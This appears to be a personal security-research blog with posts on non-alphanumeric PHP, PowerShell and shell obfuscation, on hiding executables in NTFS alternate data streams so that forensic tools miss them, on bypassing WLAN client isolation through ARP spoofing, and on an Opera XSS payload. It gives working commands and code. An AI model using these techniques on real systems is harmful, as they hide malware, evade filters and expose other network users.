Sunday, December 16, 2012

PHP Non Alpha Numeric 7/6 Chars

PHP  non alpha numeric 7 and 6 char code

If you don't know anything about php non alpha numeric code you should read Gareth Heys Tutorial first: Tutorial.

I used the following charset: $_=+();

As you can see only 7 chars.
In the end the function log will be created,because this won't exceed the memory limit. In the beginning I created the php function assert and it was 99 mb large php file, way too big to get executed.

Lets start

To begin with we need a way to get  a string. But how? To start with we can create numbers by increasing a non-existing variable:
$_=++$_+(++$_);$_=++$_+(++$_);

This will store the number 9 in $_. Ok, but with numbers we can't create any function name...

To Infinity and beyond

The simple trick is to count on to infinity, which will store the constant INF in $_. So the first big block of (++$_) is simple counting to infinity. But INF is a constant not a string, so we can't increase it. Now the alias _ for gettext helps. This function is nice, because it assumes that we meant the string INF and will pass it back to us. So the code will look like this $_=_($_)

Incrementing time

After storing the string "INF" in $_ we are able to increase the string with ++. Incrementing ZZZ will create the string AAAA so you are able to create any function you want (besides function names which are below INF like chr). To get the string LOG you have to increase the string 2055 times. Nice huh? :D To get a feeling for it, to create the string ASSERT to you have to increase it more than 20 Million times(which explains the 99mbs) :D

To sum up, you start counting to infinity, cast it to a string with the _ function and then you increment the string to the function name you want.

6 char vector  $_=+()

I tried to reduce the 7 char vector even more and I think I found a way.
It should be possible to make the whole vector a one liner, so the semicolon is not needed anymore.
The trick to achieve this is with the help of the + sign and parenthesis. It would look like this:

Count to Infinity:
++$_+(++$_)+(++$_)+(++$_)+.... +

Cast to string:
+ ($_=_($_)) + ...

Incrementing the string
+ ($_=++$_) + ($_=++$_) + .. ($_(12))

Because of the assigments the + won't trigger any errors. I created a 6 char vector to build the log function, but 600kb in one line trigger a memory exhausted error so I was not able to test the vector. But through testing it step by step I am pretty sure it works.

Here's the code for the 7 char vector, which outputs log(12). It is only 46KByte big, so even online codepads execute it.

$_+=$_+=$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
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Saturday, November 17, 2012

Hidden Alternative Data Streams

Bypassing Alternative Data Streams detection tools.


Before we can start playing around I should explain what a Alternative Data Stream or ADS is and how to create them.

A real definition can be found on wikipedia: wiki. I would describe it as a file which gets appended to a already existing file. One effect of ADS files is, that there are not listed in explorer.

Getting Started

Lets start creating a simple ADS. The following cmd command appends calc.exe to file.txt with the name hidden.exe. If file.txt doesn't exist it will be created:

C:\users\asdf\> type C:\windows\write.exe > file.txt:hidden.exe


  • C:\users\asdf\ is the current working directory
  • type outputs the content of a file
  • > pipes the output into a file
  • file.txt is the file where the ads gets appended
  • : defines the starting of the ads
  • hidden.exe is the name of our ads

To start the hidden.exe we use the wmic call

C:\users\asdf\>wmic process call create C:\users\asdf\file.txt:hidden.exe

With dir /r we can list ads

C:\users\asdf\>dir /r
17.11.2012 16:55 0 file.txt
10.240 file.txt:hidden.exe:$DATA


To list ADS a lot of tools exist, like streams from Sysinternals or dir /r (Windows 7).
But the only good tool is tsk-xview.exe made by Michael Hale Ligh Autor of the Malware Analyst Cookbook (its XP only). Here is a short introduction of the tool link

Stealth ADS or fooling the api

To bypass ADS detection tools which rely on the windows api, you have to use obscure file names. There a some tricks to make windows go crazy, I will show you two tricks:

1. Using … as a name

The first trick is to use … as the name for the file which resides on the disk. The ads appened to it, won't be visible by dir /r or any other tool, which uses the windows api. Additionally you won't be able to delete this file :)

C:\users\asdf\> type C:\windows\write.exe > ...:hidden.exe

Now lets do a dir /r

C:\users\asdf\>dir /r
17.11.2012 17:24 <DIR> .
17.11.2012 17:24 <DIR> ..
17.11.2012 17:24 0 ...
17.11.2012 16:55 0 file.txt

No ADS listed. To proof its there, just start the ads as usual:

C:\users\asdf\>wmic process call create C:\users\asdf\...:hidden.exe

Have fun trying to delete the file :P


2. Using a reserved name like COM1

To create files with reserved names like nul or COM1 we have to use UNC path. Instead of C:\ you can write \\.\C:\. The modified command will look like this

C:\users\asdf\> type C:\windows\write.exe > \\.\C:\users\asdf\COM1:hidden.exe


But all this tricks won't work against the tsk-xview.exe (which only works on Windows XP... ). It reads the file system on low-level, without using the windows api so strange file names are no obstacle.
So how to bypass that, with only one command in cmd?

The forgotten location

I almost gave up defeating this forensic tool, but then I rememberd that there is a special location for ADS. ADS can not only be appended to files on the disk, it is also possible to append them to the drive itself. We just append an ads directly to C:\ and the forensic tool won't find it. So here is the magic command

C:\users\asdf\> type C:\windows\write.exe >C:\:hidden.exe

It is simple like that.

That was my short summary about stealth ads.


Tuesday, October 16, 2012

wlan client isolation bypass in WPA/WPA2 network against Windows 7



Wlan Client Isolation Bypass in WPA/WPA2 Network against Windows 7

or Windows 7 TCP broadcast feature



THIS IS NOT HOLE 196, IN THE END I WILL TALK ABOUT THE DIFFERENCES.


Before I can talk about my bypass you have to know some facts. First of all, after you connect to a WPA/WPA2 network two keys are created:
  • A unique key for your unicast traffic
  • A shared key for broadcast traffic. This key is the same for every pc connected to this wlan station (its called GTK)

So if you send unicast traffic, nobody can sniff it. To make it possible to connect directly to other wlan clients, the wlan gateway decrypts your packet and encrypts it with the unique key of the other client.
But when you send broadcast traffic you don't need the gateway to translate the packet, because the broadcast key (GTK) is for every connected client the same.

Client Isolation

To keep it simple, the client isolation feature just stops the transmitting of unicast traffic of connected wlan client to another wlan client. Basically we are not able to send any unicast traffic to them anymore.

The idea

We have to get the system to use the group key to reach other clients, so broadcast (for being correct, the broadcast mac ff:ff:ff:ff:ff:ff) is needed.

Lets take this scenario:

My ip: 10.0.0.1
victim: 10.0.0.2
Gateway:10.0.0.254

To begin with we have to force the OS to use the broadcast key. This is done by making a static arp entry which maps the victims ip 10.0.0.2 with the mac ff:ff:ff:ff:ff:ff:

arp -s 10.0.0.2 ff-ff-ff-ff-ff-ff-ff

When you now type ping 10.0.0.2 the os will use ff:ff:ff:ff:ff:ff as the destination mac and will use the broadcast key. First way done

The way back

Now the victim won't be able to send a packet back, because he will send unicast packets, encrypted with his unique key. This is where arp spoofing helps out, but arp spoofing per response won't work. As you maybe know, a arp response wouldn't be possible because it's a unicast traffic, so lets spoof via arp request which uses the broadcast mac as the destination mac.
Now the arp cache of the victim maps my ip 10.0.0.1 to the mac ff-ff-ff-ff-ff-ff

This will force the victim os to use the broadcast key and we will receive a answer... or do we?

The problem:

To start with: Linux and Windows XP (Vista not tested) make a certain check when receiving a packet. If the destination mac is ff:ff:ff:ff:ff:ff and the layer 4 protocol has no broadcast, they will drop the packet.
Basically we can reach Linux and Windows XP with protocols like udp and icmp (so you will be able to ping them) but they drop tcp packets, which makes sense. In udp and icmp its possible that the destination mac is ff:ff:ff:ff:ff:ff but not in TCP, no way. But I wanted to use TCP, tcp is the best :D

Now a new feature (bug) in windows 7 helps us. Windows 7 doesn't make the same check as linux or xp, as long as the destination ip matches one of the interfaces on the windows 7, it will ignore the fact that the destination mac is ff:ff:ff:ff:ff:ff. This is really nice Micrsoft =)

Putting alltogether:

Now you are able to reach the victim Windows 7 machine via tcp. The nice thing is you can even use standard tools, like nmap but there are some limitation, but first the 3 small steps:

  1. make a static arp entry to map the victims ip to the broadcast mac
  2. spoof the victim via arp request (I created a tool to send the arp request, didn't find one for windows)
  3. type: nmap -sT <victim ip>

Things to consider:

  1. You can use linux to attack a windows 7 machine, but standard tools won't work, because you have to sniff the response. The linux kernel will just drop the packet.
  2. You can use standard tools like nmap as long they don't use raw sockets. As an example nmap -sS won't work (-sS needs raw sockets), because it won't look up the destination mac in the arp table instead it will use a arp request (and there won't be a response because of the client isolation). Maybe I find a way around that. I had no time to test the behaviour of metasploit

Difference to Hole 196

If you don't know what hole 196 is, in google you will find it easy.
I will talk about the difference to my attack in the aim of bypassing the client isolation feature:

First of all I have to admit, with hole 196 you are able to attack all machines, not just windows7 machines. To use hole 196 you have to modify your wifi driver, so I assume the attacking machine is a linux machine. This forces another modification. Like I already pointed out, the linux kernel will drop the tcp response packets, because the victim still has to use the destination mac ff:ff:ff:ff:ff:ff to bypass the client isolation feature. You will have to modifiy the linux tcp ip stack too. This seemed to much work for me :D


My arp response spoofing tool (source code included)

http://www.file-upload.net/download-6703551/arp-request.zip.html
/* if you know a good file hoster, please tell me */

usage: tool.exe <your mac> <your ip> <victim ip>

You have to install winpcap 4.1.2 (winpcap team you're awesome)

and don't forget the static arp entry via arp -s <victim ip> ff:ff:ff:ff:ff:ff



Tuesday, September 18, 2012

Powershell non alpha numeric


Powershell


To finish my trip through the world of non alpha numeric code I tried to make a non alpha numeric Python or non alpha numeric Batch script but I wasn't able to do so.

So I switched to Powershell and I have to say, it was too easy.
Here's the short script to execute an ls (just copy&paste it into a open powershell):

$___++;++$___;
_;
$__="$?";
&($__[$___++]+$__[$___++])


The short explanation:


$___++;++$___; # Like in bash, it creats a variable with the number 1, then increase it to 2
_; #make an error
$__="$?"; # In $? is the return code of the command before, saved as true or false. This gets casted to an string
&($__[$___++]+$__[$___++]) # & is like eval, execute a string as command. Now we access the l and the s in false and heres the ls


I didn't have a look how to make other commands, but I think it would be possible.

Have a nice day




Thursday, September 6, 2012

Non Alpha Numeric Shellscript

Shellscript


After finishing the non alphanum php code I thought of doing the same with shellscripts. In the beginning I wasn't sure if it's possible but know I am able to say: It is :)

So lets jump into it. To begin with I built a ls command: 

/????\+?????
__=$_;
. .;
___=$?;
____=___;
____=$[++____];
____=$[++____];
${__:___:___}${__:____:___}



1. /????\+?????

This is a regular expression, which I use to search in the / for the lost+found directory. This command will print all directories, which matches the regular expression, to the standard output. 

2.  __=$_


 This will assign to the variable __ the output of the last command . The full definition can be found here


3. . .;

Actually this command throws an error, I just used it to have a return value

4.  ___=$?;

This command saves the return value of . . in ___, which is 1. This will be used as the amount of chars we want to use.


5 ____=___; 


Maybe you think this is wrong, because actually it should be  ____=$___; But that would be boring. So we just save the string ___

6.  ____=$[++____];


This command stores 2 in ____. But wait, ____ just contains a string. This is true, but this command does a double variable expansion: ____ gets to ___ which expands to 1. (I didn't look it up why it does that).


7.  ____=$[++____]


Stores 3 in ____


8.  ${__:___:___}${__:____:___} 


I think its easier with the values:

${/lost+found:1:1}${/lost+found:3:1} 

The first block takes from postion 1 just 1 character which is a l.
The second block takes from position 3 just 1 character, which is s.

And thats how it works.

Non Alpha Numeric PHP Code

PHP

After reading the nice Tutorial made by Gareth Heyes Click Here

i tried doing his challenge and to reduce the charset. Here's what I wrote:

<?php
$_++; //1
$_=$_.[]; // To Aarray
$__++; // 1
$___=$_[$__];//access the 1 index of the string "1Array" which is "A"
$__++;
$____=$____=$_[$__];//access the 2 index of the string "1Array" which is "r"
$_____=$____;// assign "r" to a new variable
$_____++;//increment to "s"
$______=$___;//new variable for "e"
$______++;$______++;$______++;$______++;//increment to "e"
$__________=$___;// = e
$__________++;$__________++;$__________++;$__________++;++$__________;++$__________;++$__________;$____________=++$__________ ;//i
++$__________;++$__________;++$__________;++$__________;$_____________=++$__________;++$__________;++$__________; // p
$_=$___.$_____.$_____.$______.$____.++$_____;//concat the strings to form "AssErt"

// Creating the Chr funktion
$__++; //1
$__=$__.[]; // To Aarray
echo $__;
$_______________++; // 1
$___=$__[$_______________++]; // A
$_____=$__[$_______________]; // r

$___++;$___++; // C
$____=$___;
$____++;$____++;$____++;$____++;$____++;
$__=$___.$____.$_____;

// Zahlen anlegen
$_______________________++;$_______________________++; //2
$________________________++;$________________________++;$________________________++; //3
$_________________________=$________________________; //3
$_________________________+=$_______________________; //5
$__________________________=$_________________________+$_________________________; //10


//P
$____________________________________=$__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$__________________________;
//R
$____________________________________+$_______________________;
//I
$__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$________________________;
//N
$__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$_________________________+$________________________;
//T
$____________________________________+$_______________________+$_______________________;
// whitespace
$__________________________+$__________________________;
//1
$______________________________________________________++;
//+
$__________________________+$__________________________+$__________________________+$__________________________+$________________________;
//; =59
$__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$_________________________+$_______________________+$_______________________;

$_($__($____________________________________).$__($____________________________________+$_______________________).$__($__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$________________________).$__($__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$_________________________+$________________________).$__($____________________________________+$_______________________+$_______________________).$__($__________________________+$__________________________).$______________________________________________________.$__($__________________________+$__________________________+$__________________________+$__________________________+$________________________).$______________________________________________________.$__($__________________________+$__________________________+$__________________________+$__________________________+$__________________________+$_________________________+$_______________________+$_______________________));


It looks more difficult than it is, because I used the chr function for every character which is not necessary. 


Universal XSS in Opera


Opera

After Opera patched this nice bug, I will summarize how the this was triggered.


You had to put 65535 Characters before a 3 or 4 byte Unicode sign. Additionally the charset of the document had to be utf-8, which it is most of the time.
In this constellation the Unicode sign disappeared for opera.

An example:

<65530 characters><img %unicode sign%=" onerror=alert(1)//" src="x">


This showed an alert in opera, because in ended up like this:
<img =" onerror=alert(1)//" src="x">